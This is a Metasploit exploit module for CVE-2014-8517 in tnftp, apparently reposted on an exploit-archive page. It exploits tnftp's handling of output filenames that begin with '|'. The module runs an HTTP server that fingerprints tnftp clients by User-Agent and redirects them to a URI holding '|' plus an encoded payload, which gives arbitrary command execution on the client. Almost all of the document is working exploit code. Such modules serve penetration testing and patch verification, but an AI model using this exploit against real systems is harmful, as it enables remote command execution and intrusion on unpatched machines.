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tnftp "savefile" Arbitrary Command Execution

Posted on 03 November 2017

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.

If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.

If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {'BadChars' => '/'},
'Targets' => [['ftp(1)', {}]],
'DefaultTarget' => 0
))
end

def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end

if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{payload.encoded}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end

def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end

def sploit
"|#{payload.encoded}"
end
end

 

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